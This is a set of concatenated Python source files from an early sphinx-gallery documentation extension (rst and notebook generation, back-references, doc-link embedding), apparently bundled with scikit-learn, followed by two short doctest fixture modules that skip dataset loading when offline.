                  "Internet access.\nPlease check your network connection.\n"
                  "Unable to continue embedding `{0}` links due to a URL "
                  "Error:\n".format(this_module))
            print(e.args)

    html_gallery_dir = os.path.abspath(os.path.join(app.builder.outdir,
                                                    gallery_dir))

    # patterns for replacement
    link_pattern = '<a href="%s">%s</a>'
    orig_pattern = '<span class="n">%s</span>'
    period = '<span class="o">.</span>'

    for dirpath, _, filenames in os.walk(html_gallery_dir):
        for fname in filenames:
            print('\tprocessing: %s' % fname)
            full_fname = os.path.join(html_gallery_dir, dirpath, fname)
            subpath = dirpath[len(html_gallery_dir) + 1:]
            pickle_fname = os.path.join(gallery_dir, subpath,
                                        fname[:-5] + '_codeobj.pickle')

            if os.path.exists(pickle_fname):
                # we have a pickle file with the objects to embed links for
                with open(pickle_fname, 'rb') as fid:
                    example_code_obj = pickle.load(fid)
                fid.close()
                str_repl = {}
                # generate replacement strings with the links
                for name, cobj in example_code_obj.items():
                    this_module = cobj['module'].split('.')[0]

                    if this_module not in doc_resolvers:
                        continue

                    try:
                        link = doc_resolvers[this_module].resolve(cobj,
                                                                  full_fname)
                    except (HTTPError, URLError) as e:
                        print("The following error has occurred:\n")
                        print(repr(e))
                        continue

                    if link is not None:
                        parts = name.split('.')
                        name_html = period.join(orig_pattern % part
                                                for part in parts)
                        str_repl[name_html] = link_pattern % (link, name_html)
                # do the replacement in the html file

                # ensure greediness
                names = sorted(str_repl, key=len, reverse=True)
                expr = re.compile(r'(?<!\.)\b' +  # don't follow . or word
                                  '|'.join(re.escape(name)
                                           for name in names))

                def substitute_link(match):
                    return str_repl[match.group()]

                if len(str_repl) > 0:
                    with open(full_fname, 'rb') as fid:
                        lines_in = fid.readlines()
                    with open(full_fname, 'wb') as fid:
                        for line in lines_in:
                            line = line.decode('utf-8')
                            line = expr.sub(substitute_link, line)
                            fid.write(line.encode('utf-8'))
    print('[done]')


def embed_code_links(app, exception):
    """Embed hyperlinks to documentation into example code"""
    if exception is not None:
        return

    # No need to waste time embedding hyperlinks when not running the examples
    # XXX: also at the time of writing this fixes make html-noplot
    # for some reason I don't fully understand
    if not app.builder.config.plot_gallery:
        return

    # XXX: Whitelist of builders for which it makes sense to embed
    # hyperlinks inside the example html. Note that the link embedding
    # require searchindex.js to exist for the links to the local doc
    # and there does not seem to be a good way of knowing which
    # builders creates a searchindex.js.
    if app.builder.name not in ['html', 'readthedocs']:
        return

    print('Embedding documentation hyperlinks in examples..')

    gallery_conf = app.config.sphinx_gallery_conf

    gallery_dirs = gallery_conf['gallery_dirs']
    if not isinstance(gallery_dirs, list):
        gallery_dirs = [gallery_dirs]

    for gallery_dir in gallery_dirs:
        _embed_code_links(app, gallery_conf, gallery_dir)






# -*- coding: utf-8 -*-
# Author: Óscar Nájera
# License: 3-clause BSD
"""
==================
RST file generator
==================

Generate the rst files for the examples by iterating over the python
example files.

Files that generate images should start with 'plot'

"""
from __future__ import division, print_function, absolute_import
from time import time
import ast
import hashlib
import os
import re
import shutil
import subprocess
import sys
import traceback
import warnings


# Try Python 2 first, otherwise load from Python 3
from textwrap import dedent
try:
    # textwrap indent only exists in python 3
    from textwrap import indent
except ImportError:
    def indent(text, prefix, predicate=None):
        """Adds 'prefix' to the beginning of selected lines in 'text'.

        If 'predicate' is provided, 'prefix' will only be added to the lines
        where 'predicate(line)' is True. If 'predicate' is not provided,
        it will default to adding 'prefix' to all non-empty lines that do not
        consist solely of whitespace characters.
        """
        if predicate is None:
            def predicate(line):
                return line.strip()

        def prefixed_lines():
            for line in text.splitlines(True):
                yield (prefix + line if predicate(line) else line)
        return ''.join(prefixed_lines())

try:
    from StringIO import StringIO
except ImportError:
    from io import StringIO

try:
    # make sure that the Agg backend is set before importing any
    # matplotlib
    import matplotlib
    matplotlib.use('Agg')
    import matplotlib.pyplot as plt
except ImportError:
    # this script can be imported by nosetest to find tests to run: we should
    # not impose the matplotlib requirement in that case.
    pass

from . import glr_path_static
from .backreferences import write_backreferences, _thumbnail_div
from .notebook import Notebook

try:
    basestring
except NameError:
    basestring = str


###############################################################################


class Tee(object):
    """A tee object to redirect streams to multiple outputs"""

    def __init__(self, file1, file2):
        self.file1 = file1
        self.file2 = file2

    def write(self, data):
        self.file1.write(data)
        self.file2.write(data)

    def flush(self):
        self.file1.flush()
        self.file2.flush()


###############################################################################
CODE_DOWNLOAD = """**Total running time of the script:**
({0:.0f} minutes {1:.3f} seconds)\n\n
\n.. container:: sphx-glr-download

    **Download Python source code:** :download:`{2} <{2}>`\n
\n.. container:: sphx-glr-download

    **Download IPython notebook:** :download:`{3} <{3}>`\n"""

# The following strings are used when we have several pictures: we use
# an html div tag that our CSS uses to turn the lists into horizontal
# lists.
HLIST_HEADER = """
.. rst-class:: sphx-glr-horizontal

"""

HLIST_IMAGE_TEMPLATE = """
    *

      .. image:: /%s
            :scale: 47
"""

SINGLE_IMAGE = """
.. image:: /%s
    :align: center
"""


CODE_OUTPUT = """.. rst-class:: sphx-glr-script-out

 Out::

  {0}\n"""


def get_docstring_and_rest(filename):
    """Separate `filename` content between docstring and the rest

    Strongly inspired from ast.get_docstring.

    Returns
    -------
    docstring: str
        docstring of `filename`
    rest: str
        `filename` content without the docstring
    """
    with open(filename) as f:
        content = f.read()

    node = ast.parse(content)
    if not isinstance(node, ast.Module):
        raise TypeError("This function only supports modules. "
                        "You provided {0}".format(node.__class__.__name__))
    if node.body and isinstance(node.body[0], ast.Expr) and \
       isinstance(node.body[0].value, ast.Str):
        docstring_node = node.body[0]
        docstring = docstring_node.value.s
        # This get the content of the file after the docstring last line
        # Note: 'maxsplit' argument is not a keyword argument in python2
        rest = content.split('\n', docstring_node.lineno)[-1]
        return docstring, rest
    else:
        raise ValueError(('Could not find docstring in file "{0}". '
                          'A docstring is required by sphinx-gallery')
                         .format(filename))


def split_code_and_text_blocks(source_file):
    """Return list with source file separated into code and text blocks.

    Returns
    -------
    blocks : list of (label, content)
        List where each element is a tuple with the label ('text' or 'code'),
        and content string of block.
    """
    docstring, rest_of_content = get_docstring_and_rest(source_file)

    blocks = [('text', docstring)]

    pattern = re.compile(
        r'(?P<header_line>^#{20,}.*)\s(?P<text_content>(?:^#.*\s)*)',
        flags=re.M)

    pos_so_far = 0
    for match in re.finditer(pattern, rest_of_content):
        match_start_pos, match_end_pos = match.span()
        code_block_content = rest_of_content[pos_so_far:match_start_pos]
        text_content = match.group('text_content')
        sub_pat = re.compile('^#', flags=re.M)
        text_block_content = dedent(re.sub(sub_pat, '', text_content))
        if code_block_content.strip():
            blocks.append(('code', code_block_content))
        if text_block_content.strip():
            blocks.append(('text', text_block_content))
        pos_so_far = match_end_pos

    remaining_content = rest_of_content[pos_so_far:]
    if remaining_content.strip():
        blocks.append(('code', remaining_content))

    return blocks


def codestr2rst(codestr, lang='python'):
    """Return reStructuredText code block from code string"""
    code_directive = "\n.. code-block:: {0}\n\n".format(lang)
    indented_block = indent(codestr, ' ' * 4)
    return code_directive + indented_block


def text2string(content):
    """Returns a string without the extra triple quotes"""
    try:
        return ast.literal_eval(content) + '\n'
    except Exception:
        return content


def extract_intro(filename):
    """ Extract the first paragraph of module-level docstring. max:95 char"""

    docstring, _ = get_docstring_and_rest(filename)

    # lstrip is just in case docstring has a '\n\n' at the beginning
    paragraphs = docstring.lstrip().split('\n\n')
    if len(paragraphs) > 1:
        first_paragraph = re.sub('\n', ' ', paragraphs[1])
        first_paragraph = (first_paragraph[:95] + '...'
                           if len(first_paragraph) > 95 else first_paragraph)
    else:
        raise ValueError(
            "Example docstring should have a header for the example title "
            "and at least a paragraph explaining what the example is about. "
            "Please check the example file:\n {}\n".format(filename))

    return first_paragraph


def get_md5sum(src_file):
    """Returns md5sum of file"""

    with open(src_file, 'r') as src_data:
        src_content = src_data.read()

        # data needs to be encoded in python3 before hashing
        if sys.version_info[0] == 3:
            src_content = src_content.encode('utf-8')

        src_md5 = hashlib.md5(src_content).hexdigest()
    return src_md5


def check_md5sum_change(src_file):
    """Returns True if src_file has a different md5sum"""

    src_md5 = get_md5sum(src_file)

    src_md5_file = src_file + '.md5'
    src_file_changed = True
    if os.path.exists(src_md5_file):
        with open(src_md5_file, 'r') as file_checksum:
            ref_md5 = file_checksum.read()
        if src_md5 == ref_md5:
            src_file_changed = False

    if src_file_changed:
        with open(src_md5_file, 'w') as file_checksum:
            file_checksum.write(src_md5)

    return src_file_changed


def _plots_are_current(src_file, image_file):
    """Test existence of image file and no change in md5sum of
    example"""

    first_image_file = image_file.format(1)
    has_image = os.path.exists(first_image_file)
    src_file_changed = check_md5sum_change(src_file)

    return has_image and not src_file_changed


def save_figures(image_path, fig_count, gallery_conf):
    """Save all open matplotlib figures of the example code-block

    Parameters
    ----------
    image_path : str
        Path where plots are saved (format string which accepts figure number)
    fig_count : int
        Previous figure number count. Figure number add from this number

    Returns
    -------
    list of strings containing the full path to each figure
    """
    figure_list = []

    fig_managers = matplotlib._pylab_helpers.Gcf.get_all_fig_managers()
    for fig_mngr in fig_managers:
        # Set the fig_num figure as the current figure as we can't
        # save a figure that's not the current figure.
        fig = plt.figure(fig_mngr.num)
        kwargs = {}
        to_rgba = matplotlib.colors.colorConverter.to_rgba
        for attr in ['facecolor', 'edgecolor']:
            fig_attr = getattr(fig, 'get_' + attr)()
            default_attr = matplotlib.rcParams['figure.' + attr]
            if to_rgba(fig_attr) != to_rgba(default_attr):
                kwargs[attr] = fig_attr

        current_fig = image_path.format(fig_count + fig_mngr.num)
        fig.savefig(current_fig, **kwargs)
        figure_list.append(current_fig)

    if gallery_conf.get('find_mayavi_figures', False):
        from mayavi import mlab
        e = mlab.get_engine()
        last_matplotlib_fig_num = len(figure_list)
        total_fig_num = last_matplotlib_fig_num + len(e.scenes)
        mayavi_fig_nums = range(last_matplotlib_fig_num, total_fig_num)

        for scene, mayavi_fig_num in zip(e.scenes, mayavi_fig_nums):
            current_fig = image_path.format(mayavi_fig_num)
            mlab.savefig(current_fig, figure=scene)
            # make sure the image is not too large
            scale_image(current_fig, current_fig, 850, 999)
            figure_list.append(current_fig)
        mlab.close(all=True)

    return figure_list


def scale_image(in_fname, out_fname, max_width, max_height):
    """Scales an image with the same aspect ratio centered in an
       image with a given max_width and max_height
       if in_fname == out_fname the image can only be scaled down
    """
    # local import to avoid testing dependency on PIL:
    try:
        from PIL import Image
    except ImportError:
        import Image
    img = Image.open(in_fname)
    width_in, height_in = img.size
    scale_w = max_width / float(width_in)
    scale_h = max_height / float(height_in)

    if height_in * scale_w <= max_height:
        scale = scale_w
    else:
        scale = scale_h

    if scale >= 1.0 and in_fname == out_fname:
        return

    width_sc = int(round(scale * width_in))
    height_sc = int(round(scale * height_in))

    # resize the image
    img.thumbnail((width_sc, height_sc), Image.ANTIALIAS)

    # insert centered
    thumb = Image.new('RGB', (max_width, max_height), (255, 255, 255))
    pos_insert = ((max_width - width_sc) // 2, (max_height - height_sc) // 2)
    thumb.paste(img, pos_insert)

    thumb.save(out_fname)
    # Use optipng to perform lossless compression on the resized image if
    # software is installed
    if os.environ.get('SKLEARN_DOC_OPTIPNG', False):
        try:
            subprocess.call(["optipng", "-quiet", "-o", "9", out_fname])
        except Exception:
            warnings.warn('Install optipng to reduce the size of the \
                          generated images')


def save_thumbnail(image_path, base_image_name, gallery_conf):
    """Save the thumbnail image"""
    first_image_file = image_path.format(1)
    thumb_dir = os.path.join(os.path.dirname(first_image_file), 'thumb')
    if not os.path.exists(thumb_dir):
        os.makedirs(thumb_dir)

    thumb_file = os.path.join(thumb_dir,
                              'sphx_glr_%s_thumb.png' % base_image_name)

    if os.path.exists(first_image_file):
        scale_image(first_image_file, thumb_file, 400, 280)
    elif not os.path.exists(thumb_file):
        # create something to replace the thumbnail
        default_thumb_file = os.path.join(glr_path_static(), 'no_image.png')
        default_thumb_file = gallery_conf.get("default_thumb_file",
                                              default_thumb_file)
        scale_image(default_thumb_file, thumb_file, 200, 140)


def generate_dir_rst(src_dir, target_dir, gallery_conf, seen_backrefs):
    """Generate the gallery reStructuredText for an example directory"""
    if not os.path.exists(os.path.join(src_dir, 'README.txt')):
        print(80 * '_')
        print('Example directory %s does not have a README.txt file' %
              src_dir)
        print('Skipping this directory')
        print(80 * '_')
        return ""  # because string is an expected return type

    fhindex = open(os.path.join(src_dir, 'README.txt')).read()
    if not os.path.exists(target_dir):
        os.makedirs(target_dir)
    sorted_listdir = [fname for fname in sorted(os.listdir(src_dir))
                      if fname.endswith('.py')]
    entries_text = []
    for fname in sorted_listdir:
        amount_of_code = generate_file_rst(fname, target_dir, src_dir,
                                           gallery_conf)
        new_fname = os.path.join(src_dir, fname)
        intro = extract_intro(new_fname)
        write_backreferences(seen_backrefs, gallery_conf,
                             target_dir, fname, intro)
        this_entry = _thumbnail_div(target_dir, fname, intro) + """

.. toctree::
   :hidden:

   /%s/%s\n""" % (target_dir, fname[:-3])
        entries_text.append((amount_of_code, this_entry))

    # sort to have the smallest entries in the beginning
    entries_text.sort()

    for _, entry_text in entries_text:
        fhindex += entry_text

    # clear at the end of the section
    fhindex += """.. raw:: html\n
    <div style='clear:both'></div>\n\n"""

    return fhindex


def execute_script(code_block, example_globals, image_path, fig_count,
                   src_file, gallery_conf):
    """Executes the code block of the example file"""
    time_elapsed = 0
    stdout = ''

    # We need to execute the code
    print('plotting code blocks in %s' % src_file)

    plt.close('all')
    cwd = os.getcwd()
    # Redirect output to stdout and
    orig_stdout = sys.stdout

    try:
        # First cd in the original example dir, so that any file
        # created by the example get created in this directory
        os.chdir(os.path.dirname(src_file))
        my_buffer = StringIO()
        my_stdout = Tee(sys.stdout, my_buffer)
        sys.stdout = my_stdout

        t_start = time()
        exec(code_block, example_globals)
        time_elapsed = time() - t_start

        sys.stdout = orig_stdout

        my_stdout = my_buffer.getvalue().strip().expandtabs()
        if my_stdout:
            stdout = CODE_OUTPUT.format(indent(my_stdout, ' ' * 4))
        os.chdir(cwd)
        figure_list = save_figures(image_path, fig_count, gallery_conf)

        # Depending on whether we have one or more figures, we're using a
        # horizontal list or a single rst call to 'image'.
        image_list = ""
        if len(figure_list) == 1:
            figure_name = figure_list[0]
            image_list = SINGLE_IMAGE % figure_name.lstrip('/')
        elif len(figure_list) > 1:
            image_list = HLIST_HEADER
            for figure_name in figure_list:
                image_list += HLIST_IMAGE_TEMPLATE % figure_name.lstrip('/')

    except Exception:
        formatted_exception = traceback.format_exc()

        print(80 * '_')
        print('%s is not compiling:' % src_file)
        print(formatted_exception)
        print(80 * '_')

        figure_list = []
        image_list = codestr2rst(formatted_exception, lang='pytb')

        # Overrides the output thumbnail in the gallery for easy identification
        broken_img = os.path.join(glr_path_static(), 'broken_example.png')
        shutil.copyfile(broken_img, os.path.join(cwd, image_path.format(1)))
        fig_count += 1  # raise count to avoid overwriting image

        # Breaks build on first example error

        if gallery_conf['abort_on_example_error']:
            raise

    finally:
        os.chdir(cwd)
        sys.stdout = orig_stdout

    print(" - time elapsed : %.2g sec" % time_elapsed)
    code_output = "\n{0}\n\n{1}\n\n".format(image_list, stdout)

    return code_output, time_elapsed, fig_count + len(figure_list)


def generate_file_rst(fname, target_dir, src_dir, gallery_conf):
    """ Generate the rst file for a given example.

        Returns the amout of code (in characters) of the corresponding
        files.
    """

    src_file = os.path.join(src_dir, fname)
    example_file = os.path.join(target_dir, fname)
    shutil.copyfile(src_file, example_file)

    image_dir = os.path.join(target_dir, 'images')
    if not os.path.exists(image_dir):
        os.makedirs(image_dir)

    base_image_name = os.path.splitext(fname)[0]
    image_fname = 'sphx_glr_' + base_image_name + '_{0:03}.png'
    image_path = os.path.join(image_dir, image_fname)

    script_blocks = split_code_and_text_blocks(example_file)

    amount_of_code = sum([len(bcontent)
                          for blabel, bcontent in script_blocks
                          if blabel == 'code'])

    if _plots_are_current(example_file, image_path):
        return amount_of_code

    time_elapsed = 0

    ref_fname = example_file.replace(os.path.sep, '_')
    example_rst = """\n\n.. _sphx_glr_{0}:\n\n""".format(ref_fname)
    example_nb = Notebook(fname, target_dir)

    filename_pattern = gallery_conf.get('filename_pattern')
    if re.search(filename_pattern, src_file) and gallery_conf['plot_gallery']:
        example_globals = {
            # A lot of examples contains 'print(__doc__)' for example in
            # scikit-learn so that running the example prints some useful
            # information. Because the docstring has been separated from
            # the code blocks in sphinx-gallery, __doc__ is actually
            # __builtin__.__doc__ in the execution context and we do not
            # want to print it
            '__doc__': '',
            # Examples may contain if __name__ == '__main__' guards
            # for in example scikit-learn if the example uses multiprocessing
            '__name__': '__main__'}

        fig_count = 0
        # A simple example has two blocks: one for the
        # example introduction/explanation and one for the code
        is_example_notebook_like = len(script_blocks) > 2
        for blabel, bcontent in script_blocks:
            if blabel == 'code':
                code_output, rtime, fig_count = execute_script(bcontent,
                                                               example_globals,
                                                               image_path,
                                                               fig_count,
                                                               src_file,
                                                               gallery_conf)

                time_elapsed += rtime
                example_nb.add_code_cell(bcontent)

                if is_example_notebook_like:
                    example_rst += codestr2rst(bcontent) + '\n'
                    example_rst += code_output
                else:
                    example_rst += code_output
                    if 'sphx-glr-script-out' in code_output:
                        # Add some vertical space after output
                        example_rst += "\n\n|\n\n"
                    example_rst += codestr2rst(bcontent) + '\n'

            else:
                example_rst += text2string(bcontent) + '\n'
                example_nb.add_markdown_cell(text2string(bcontent))
    else:
        for blabel, bcontent in script_blocks:
            if blabel == 'code':
                example_rst += codestr2rst(bcontent) + '\n'
                example_nb.add_code_cell(bcontent)
            else:
                example_rst += bcontent + '\n'
                example_nb.add_markdown_cell(text2string(bcontent))

    save_thumbnail(image_path, base_image_name, gallery_conf)

    time_m, time_s = divmod(time_elapsed, 60)
    example_nb.save_file()
    with open(os.path.join(target_dir, base_image_name + '.rst'), 'w') as f:
        example_rst += CODE_DOWNLOAD.format(time_m, time_s, fname,
                                            example_nb.file_name)
        f.write(example_rst)

    return amount_of_code






# -*- coding: utf-8 -*-
# Author: Óscar Nájera
# License: 3-clause BSD
"""
========================
Sphinx-Gallery Generator
========================

Attaches Sphinx-Gallery to Sphinx in order to generate the galleries
when building the documentation.
"""


from __future__ import division, print_function, absolute_import
import re
import os
from . import glr_path_static
from .gen_rst import generate_dir_rst
from .docs_resolv import embed_code_links


def clean_gallery_out(build_dir):
    """Deletes images under the sphx_glr namespace in the build directory"""
    # Sphinx hack: sphinx copies generated images to the build directory
    #  each time the docs are made.  If the desired image name already
    #  exists, it appends a digit to prevent overwrites.  The problem is,
    #  the directory is never cleared.  This means that each time you build
    #  the docs, the number of images in the directory grows.
    #
    # This question has been asked on the sphinx development list, but there
    #  was no response: http://osdir.com/ml/sphinx-dev/2011-02/msg00123.html
    #
    # The following is a hack that prevents this behavior by clearing the
    #  image build directory from gallery images each time the docs are built.
    #  If sphinx changes their layout between versions, this will not
    #  work (though it should probably not cause a crash).
    # Tested successfully on Sphinx 1.0.7

    build_image_dir = os.path.join(build_dir, '_images')
    if os.path.exists(build_image_dir):
        filelist = os.listdir(build_image_dir)
        for filename in filelist:
            if filename.startswith('sphx_glr') and filename.endswith('png'):
                os.remove(os.path.join(build_image_dir, filename))


def generate_gallery_rst(app):
    """Generate the Main examples gallery reStructuredText

    Start the sphinx-gallery configuration and recursively scan the examples
    directories in order to populate the examples gallery
    """
    try:
        plot_gallery = eval(app.builder.config.plot_gallery)
    except TypeError:
        plot_gallery = bool(app.builder.config.plot_gallery)

    gallery_conf.update(app.config.sphinx_gallery_conf)
    gallery_conf.update(plot_gallery=plot_gallery)
    gallery_conf.update(abort_on_example_error=app.builder.config.abort_on_example_error)

    # this assures I can call the config in other places
    app.config.sphinx_gallery_conf = gallery_conf
    app.config.html_static_path.append(glr_path_static())

    clean_gallery_out(app.builder.outdir)

    examples_dirs = gallery_conf['examples_dirs']
    gallery_dirs = gallery_conf['gallery_dirs']

    if not isinstance(examples_dirs, list):
        examples_dirs = [examples_dirs]
    if not isinstance(gallery_dirs, list):
        gallery_dirs = [gallery_dirs]

    mod_examples_dir = os.path.relpath(gallery_conf['mod_example_dir'],
                                       app.builder.srcdir)
    seen_backrefs = set()

    for examples_dir, gallery_dir in zip(examples_dirs, gallery_dirs):
        examples_dir = os.path.relpath(examples_dir,
                                       app.builder.srcdir)
        gallery_dir = os.path.relpath(gallery_dir,
                                      app.builder.srcdir)

        for workdir in [examples_dir, gallery_dir, mod_examples_dir]:
            if not os.path.exists(workdir):
                os.makedirs(workdir)

        # we create an index.rst with all examples
        fhindex = open(os.path.join(gallery_dir, 'index.rst'), 'w')
        # Here we don't use an os.walk, but we recurse only twice: flat is
        # better than nested.
        fhindex.write(generate_dir_rst(examples_dir, gallery_dir, gallery_conf,
                                       seen_backrefs))
        for directory in sorted(os.listdir(examples_dir)):
            if os.path.isdir(os.path.join(examples_dir, directory)):
                src_dir = os.path.join(examples_dir, directory)
                target_dir = os.path.join(gallery_dir, directory)
                fhindex.write(generate_dir_rst(src_dir, target_dir,
                                               gallery_conf,
                                               seen_backrefs))
        fhindex.flush()


def touch_empty_backreferences(app, what, name, obj, options, lines):
    """Generate empty back-reference example files

    This avoids inclusion errors/warnings if there are no gallery
    examples for a class / module that is being parsed by autodoc"""

    examples_path = os.path.join(app.srcdir,
                                 app.config.sphinx_gallery_conf["mod_example_dir"],
                                 "%s.examples" % name)

    if not os.path.exists(examples_path):
        # touch file
        open(examples_path, 'w').close()


gallery_conf = {
    'filename_pattern': re.escape(os.sep) + 'plot',
    'examples_dirs': '../examples',
    'gallery_dirs': 'auto_examples',
    'mod_example_dir': os.path.join('modules', 'generated'),
    'doc_module': (),
    'reference_url': {},
}


def setup(app):
    """Setup sphinx-gallery sphinx extension"""
    app.add_config_value('plot_gallery', True, 'html')
    app.add_config_value('abort_on_example_error', False, 'html')
    app.add_config_value('sphinx_gallery_conf', gallery_conf, 'html')
    app.add_stylesheet('gallery.css')

    if 'sphinx.ext.autodoc' in app._extensions:
        app.connect('autodoc-process-docstring', touch_empty_backreferences)

    app.connect('builder-inited', generate_gallery_rst)

    app.connect('build-finished', embed_code_links)


def setup_module():
    # HACK: Stop nosetests running setup() above
    pass






"""
==============
Sphinx Gallery
==============

"""
import os
__version__ = '0.1.2'


def glr_path_static():
    """Returns path to packaged static files"""
    return os.path.abspath(os.path.join(os.path.dirname(__file__), '_static'))






# -*- coding: utf-8 -*-
# Author: Óscar Nájera
# License: 3-clause BSD
"""
========================
Backreferences Generator
========================

Reviews generated example files in order to keep track of used modules
"""

from __future__ import print_function
import ast
import os


# Try Python 2 first, otherwise load from Python 3
try:
    import cPickle as pickle
except ImportError:
    import pickle


class NameFinder(ast.NodeVisitor):
    """Finds the longest form of variable names and their imports in code

    Only retains names from imported modules.
    """

    def __init__(self):
        super(NameFinder, self).__init__()
        self.imported_names = {}
        self.accessed_names = set()

    def visit_Import(self, node, prefix=''):
        for alias in node.names:
            local_name = alias.asname or alias.name
            self.imported_names[local_name] = prefix + alias.name

    def visit_ImportFrom(self, node):
        self.visit_Import(node, node.module + '.')

    def visit_Name(self, node):
        self.accessed_names.add(node.id)

    def visit_Attribute(self, node):
        attrs = []
        while isinstance(node, ast.Attribute):
            attrs.append(node.attr)
            node = node.value

        if isinstance(node, ast.Name):
            # This is a.b, not e.g. a().b
            attrs.append(node.id)
            self.accessed_names.add('.'.join(reversed(attrs)))
        else:
            # need to get a in a().b
            self.visit(node)

    def get_mapping(self):
        for name in self.accessed_names:
            local_name = name.split('.', 1)[0]
            remainder = name[len(local_name):]
            if local_name in self.imported_names:
                # Join import path to relative path
                full_name = self.imported_names[local_name] + remainder
                yield name, full_name


def get_short_module_name(module_name, obj_name):
    """ Get the shortest possible module name """
    parts = module_name.split('.')
    short_name = module_name
    for i in range(len(parts) - 1, 0, -1):
        short_name = '.'.join(parts[:i])
        try:
            exec('from %s import %s' % (short_name, obj_name))
        except ImportError:
            # get the last working module name
            short_name = '.'.join(parts[:(i + 1)])
            break
    return short_name


def identify_names(code):
    """Builds a codeobj summary by identifying and resolving used names

    >>> code = '''
    ... from a.b import c
    ... import d as e
    ... print(c)
    ... e.HelloWorld().f.g
    ... '''
    >>> for name, o in sorted(identify_names(code).items()):
    ...     print(name, o['name'], o['module'], o['module_short'])
    c c a.b a.b
    e.HelloWorld HelloWorld d d
    """
    finder = NameFinder()
    finder.visit(ast.parse(code))

    example_code_obj = {}
    for name, full_name in finder.get_mapping():
        # name is as written in file (e.g. np.asarray)
        # full_name includes resolved import path (e.g. numpy.asarray)
        module, attribute = full_name.rsplit('.', 1)
        # get shortened module name
        module_short = get_short_module_name(module, attribute)
        cobj = {'name': attribute, 'module': module,
                'module_short': module_short}
        example_code_obj[name] = cobj
    return example_code_obj


def scan_used_functions(example_file, gallery_conf):
    """save variables so we can later add links to the documentation"""
    example_code_obj = identify_names(open(example_file).read())
    if example_code_obj:
        codeobj_fname = example_file[:-3] + '_codeobj.pickle'
        with open(codeobj_fname, 'wb') as fid:
            pickle.dump(example_code_obj, fid, pickle.HIGHEST_PROTOCOL)

    backrefs = set('{module_short}.{name}'.format(**entry)
                   for entry in example_code_obj.values()
                   if entry['module'].startswith(gallery_conf['doc_module']))

    return backrefs


THUMBNAIL_TEMPLATE = """
.. raw:: html

    <div class="sphx-glr-thumbcontainer" tooltip="{snippet}">

.. only:: html

    .. figure:: /{thumbnail}

        :ref:`sphx_glr_{ref_name}`

.. raw:: html

    </div>
"""

BACKREF_THUMBNAIL_TEMPLATE = THUMBNAIL_TEMPLATE + """
.. only:: not html

    * :ref:`sphx_glr_{ref_name}`
"""


def _thumbnail_div(full_dir, fname, snippet, is_backref=False):
    """Generates RST to place a thumbnail in a gallery"""
    thumb = os.path.join(full_dir, 'images', 'thumb',
                         'sphx_glr_%s_thumb.png' % fname[:-3])
    ref_name = os.path.join(full_dir, fname).replace(os.path.sep, '_')

    template = BACKREF_THUMBNAIL_TEMPLATE if is_backref else THUMBNAIL_TEMPLATE
    return template.format(snippet=snippet, thumbnail=thumb, ref_name=ref_name)


def write_backreferences(seen_backrefs, gallery_conf,
                         target_dir, fname, snippet):
    """Writes down back reference files, which include a thumbnail list
    of examples using a certain module"""
    example_file = os.path.join(target_dir, fname)
    backrefs = scan_used_functions(example_file, gallery_conf)
    for backref in backrefs:
        include_path = os.path.join(gallery_conf['mod_example_dir'],
                                    '%s.examples' % backref)
        seen = backref in seen_backrefs
        with open(include_path, 'a' if seen else 'w') as ex_file:
            if not seen:
                heading = '\n\nExamples using ``%s``' % backref
                ex_file.write(heading + '\n')
                ex_file.write('^' * len(heading) + '\n')
            ex_file.write(_thumbnail_div(target_dir, fname, snippet,
                                         is_backref=True))
            seen_backrefs.add(backref)






# -*- coding: utf-8 -*-
r"""
============================
Parser for Jupyter notebooks
============================

Class that holds the Ipython notebook information

"""
# Author: Óscar Nájera
# License: 3-clause BSD

from __future__ import division, absolute_import, print_function
import json
import os
import re
import sys

def ipy_notebook_skeleton():
    """Returns a dictionary with the elements of a Jupyter notebook"""
    py_version = sys.version_info
    notebook_skeleton = {
        "cells": [],
        "metadata": {
            "kernelspec": {
                "display_name": "Python " + str(py_version[0]),
                "language": "python",
                "name": "python" + str(py_version[0])
            },
            "language_info": {
                "codemirror_mode": {
                    "name": "ipython",
                    "version": py_version[0]
                },
                "file_extension": ".py",
                "mimetype": "text/x-python",
                "name": "python",
                "nbconvert_exporter": "python",
                "pygments_lexer": "ipython" + str(py_version[0]),
                "version": '{0}.{1}.{2}'.format(*sys.version_info[:3])
            }
        },
        "nbformat": 4,
        "nbformat_minor": 0
    }
    return notebook_skeleton


def rst2md(text):
    """Converts the RST text from the examples docstrigs and comments
    into markdown text for the IPython notebooks"""

    top_heading = re.compile(r'^=+$\s^([\w\s-]+)^=+$', flags=re.M)
    text = re.sub(top_heading, r'# \1', text)

    math_eq = re.compile(r'^\.\. math::((?:.+)?(?:\n+^  .+)*)', flags=re.M)
    text = re.sub(math_eq,
                  lambda match: r'$${0}$$'.format(match.group(1).strip()),
                  text)
    inline_math = re.compile(r':math:`(.+)`')
    text = re.sub(inline_math, r'$\1$', text)

    return text


class Notebook(object):
    """Ipython notebook object

    Constructs the file cell-by-cell and writes it at the end"""

    def __init__(self, file_name, target_dir):
        """Declare the skeleton of the notebook

        Parameters
        ----------
        file_name : str
            original script file name, .py extension will be renamed
        target_dir: str
            directory where notebook file is to be saved
        """

        self.file_name = file_name.replace('.py', '.ipynb')
        self.write_file = os.path.join(target_dir, self.file_name)
        self.work_notebook = ipy_notebook_skeleton()
        self.add_code_cell("%matplotlib inline")

    def add_code_cell(self, code):
        """Add a code cell to the notebook

        Parameters
        ----------
        code : str
            Cell content
        """

        code_cell = {
            "cell_type": "code",
            "execution_count": None,
            "metadata": {"collapsed": False},
            "outputs": [],
            "source": [code.strip()]
            }
        self.work_notebook["cells"].append(code_cell)

    def add_markdown_cell(self, text):
        """Add a markdown cell to the notebook

        Parameters
        ----------
        code : str
            Cell content
        """
        markdown_cell = {
            "cell_type": "markdown",
            "metadata": {},
            "source": [rst2md(text)]
        }
        self.work_notebook["cells"].append(markdown_cell)

    def save_file(self):
        """Saves the notebook to a file"""
        with open(self.write_file, 'w') as out_nb:
            json.dump(self.work_notebook, out_nb, indent=2)






"""Fixture module to skip the datasets loading when offline

Doctests are skipped if the datasets have not already been dowloaded
and cached in the past.
"""
from os.path import exists
from os.path import join
from nose import SkipTest
from sklearn.datasets import get_data_home


def setup_module(module):
    data_home = get_data_home()
    if not exists(join(data_home, 'lfw_home')):
        raise SkipTest("Skipping dataset loading doctests")






"""Fixture module to skip the datasets loading when offline

The RCV1 data is rather large and some CI workers such as travis are
stateless hence will not cache the dataset as regular sklearn users would do.

The following will skip the execution of the rcv1.rst doctests
if the proper environment variable is configured (see the source code of
check_skip_network for more details).

"""
from sklearn.utils.testing import check_skip_network, SkipTest
import os
from sklearn.datasets import get_data_home


